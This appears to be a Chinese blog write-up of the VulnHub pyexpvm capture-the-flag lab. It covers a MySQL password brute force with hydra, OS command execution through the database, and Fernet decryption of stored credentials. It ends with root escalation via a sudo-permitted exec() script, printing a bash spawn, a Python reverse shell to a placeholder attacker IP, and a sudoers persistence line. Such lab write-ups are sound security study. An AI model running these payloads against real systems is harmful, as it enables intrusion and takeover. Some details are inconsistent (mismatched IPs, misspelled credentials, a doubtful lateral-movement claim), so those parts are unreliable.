1-pyexpvm打靶记录

下载:https://download.vulnhub.com/pyexp/pyexpvm.zip

  • 靶场搭建

下载下来是zip压缩文件,解压后是.ovf虚拟机压缩文件直接用Vmvare导出就行

image

打开后把网络模式设置为NAT模式(和kali攻击机模式一样就ok)

image

查看靶机ip地址为192.168.75.132

image

渗透测试

  • 端口扫描

image

开发了3306端口,存在mysql服务,用于MySQL数据库,安全风险在于root弱密码

确认MYSQL数据库服务的存在、收集其版本和配置信息

image

sS(SYN扫描):这是一种隐蔽的扫描方式(半开扫描),快速且不易被目标系统日志记录。

  • p 3306:指定只扫描3306端口,避免全面扫描的噪音,提高效率。

  • A(全面探测):启用操作系统检测、版本检测、脚本扫描和路由追踪等高级功能。

  • 使用hydra爆破

关于字典

也可以自己创建字典文件

这里创建一个常用用户名字典

!image.png

进入后按i进入编辑模式,输入字典内容,按esc后输入:wq保存退出,cat常看内容

!image.png

在 Kali Linux 中,rockyou.txt 字典文件默认是压缩的,需要先解压

切换到字典目录 cd /usr/share/wordlists/

解压 rockyou.txt 文件 sudo gunzip rockyou.txt.gz

使用hydra开始进行root密码爆破

hydra -L '/home/kali/Desktop/username_list.txt' -P '/home/kali/Desktop/rockyou.txt' -t 4
192.168.40.129 mysql

分析该命令

  • 得到账号密码 login: root password: prettywoman

    image

  • 进行登陆

    image

    分析该命令

    • mysql:调用 MySQL 命令行客户端程序。
    • h 192.168.75.132:指定要连接的数据库服务器的 IP 地址。
    • u root:使用用户名 root进行登录(这是数据库的最高权限账户)。
    • p:表示需要交互式地输入密码(输入时密码不会显示,增强了安全性)。
    • -ssl=0:显式地禁用 SSL 加密连接。这个参数通常用于连接不支持或未配置 SSL 的旧版本服务器,或者是为了在受信任的内网环境中避免加密带来的性能开销。

    重要安全启示

    这个成功的连接揭示了目标服务器一个极其严重的安全风险:

    • 弱密码或默认密码:能够用 root账户和某个密码成功登录,强烈暗示该账户使用了弱密码、默认密码或者是通过字典攻击爆破成功的密码。
    • root账户的远程访问:允许 root这类高权限账户从远程网络直接登录,本身就是不安全的配置。最佳实践是只允许普通权限账户远程登录,或通过跳板机管理。
    • SSL被禁用:使用 -ssl=0意味着通信是明文传输的。在内网中可能可以接受,但在任何不安全的网络环境中,数据库的查询、密码等敏感信息都可能被窃听。
    • 为后续可能的数据查询、权限提升或横向移动打开了大门。

利用数据库权限在底层操作系统上执行命令(权限验证和权限提升尝试)

image

命令分析

  1. system id
    • 意图:验证数据库服务进程在操作系统上运行时的权限级别。
    • 结果:uid=0(root) gid=0(root) 组=0(root)
    • 分析:这是一个极其关键的发现。它表明 MariaDB 服务是以 Linux 最高权限 root 账户 运行的。这意味着,通过数据库执行的任何系统命令都拥有对操作系统的完全控制权。这是最危险的配置之一。
  2. system ifconfig
    • 意图:探查服务器的网络配置信息,为可能的横向移动(攻击内网其他机器)收集情报。
    • 分析:成功结果显示网络接口 eth0的 IP 地址为 192.168.75.129。这与之前扫描的目标 192.168.75.132不同,说明你现在控制的是内网中的另一台服务器。这证实了横向移动的发生。

3.do_system

  • 意图:尝试通过 MySQL 的用户定义函数(UDF)来执行命令,这是一种更程序化、更隐蔽的方式。
  • 结果:告失败 (FUNCTION do_system does not exist)。
  • 分析:这表明目标系统上没有安装 lib_mysqludf_sys这类可以创建命令执行函数的 UDF 库。但幸运的是(从攻击者视角),MariaDB 默认提供了更直接的 system命令,使得 UDF 变得不必要

查一下数据库

image

后面尝试select load_file('/etc/passwd'); 用系统函数读取系统文件成功
但是没有有价值的信息

结果分析

use data(切换至目标数据库)

  • 目的:进入 data数据库,准备进一步探查其内部结构。

fernet表名的特殊意义:

这个名字非常关键,它强烈暗示了这张表的作用:

  • Fernet 是一种流行的对称加密算法的名称(通常通过Python的 cryptography.fernet库实现)。
  • 在实践中,开发人员常使用Fernet来加密存储数据库中的敏感字段(如密码、API密钥、个人身份信息等)。
  • 因此,名为 fernet的表很可能直接存储着加密后的敏感数据,或者存储着用于加密其他数据的密钥。

查看表格内容

image

cred那串字符看起来是Fernet加密后的密文,而keyy可能是加密用的密钥,可以使用 Fernet 库(例如 Python的 cryptography.fernet)对 cred中的密文进行解密

image

b'lucy:wJ9`"Lemdv9FEw-’

猜测登录账号kucy,密码wJ9"Lemdv9[FEw-

进行ssh连接登陆

image

查看文件,得到第一个flag

image

  • 权限提升

前面已经爆破出来了root用户的密码prttywoman
尝试进行数据库提权,不可行

image

尝试sudo提权

image

命令分析

权限探查 (sudo -l)

  • 关键发现:用户 lucy可以无需密码以 root 权限运行特定的 Python 脚本。

脚本分析 (ls -l和 cat)

uinput = raw_input('how are you?')
exec(uinput)
  • 脚本功能:该脚本使用 raw_input()获取用户输入,然后直接用 exec()函数执行输入内容。
  • 安全漏洞:exec()函数会执行任意 Python 代码,这相当于提供了一个直接的代码执行后门。
  • 权限级别:由于脚本通过 sudo 以 root 权限运行,执行的代码也将拥有 root 权限。

攻击者可以通过以下方式轻松获得 root shell:

方法一:直接执行系统命令

sudo /usr/bin/python2 /opt/exp.py

当提示 how are you?时,输入:

import os; os.system('/bin/bash')

或者更简洁的:

__import__('os').system('/bin/bash')

方法二:生成反向 Shell

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击者IP",端口))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])

方法三:创建永久 root 权限

import os
os.system('echo "lucy ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers')

🚨 安全风险等级

风险等级:严重

这种配置漏洞包含了多个致命问题:

  1. 不必要的特权权限:普通用户无需拥有 root 权限。
  2. 无密码执行:NOPASSWD移除了最后一道屏障。
  3. 代码注入漏洞:exec(input())是极度危险的编程实践。

触发漏洞得到第二个flag
image

posted @ 2026-10-29 17:19  ddx-dev  阅读(4)  评论(0)    收藏  举报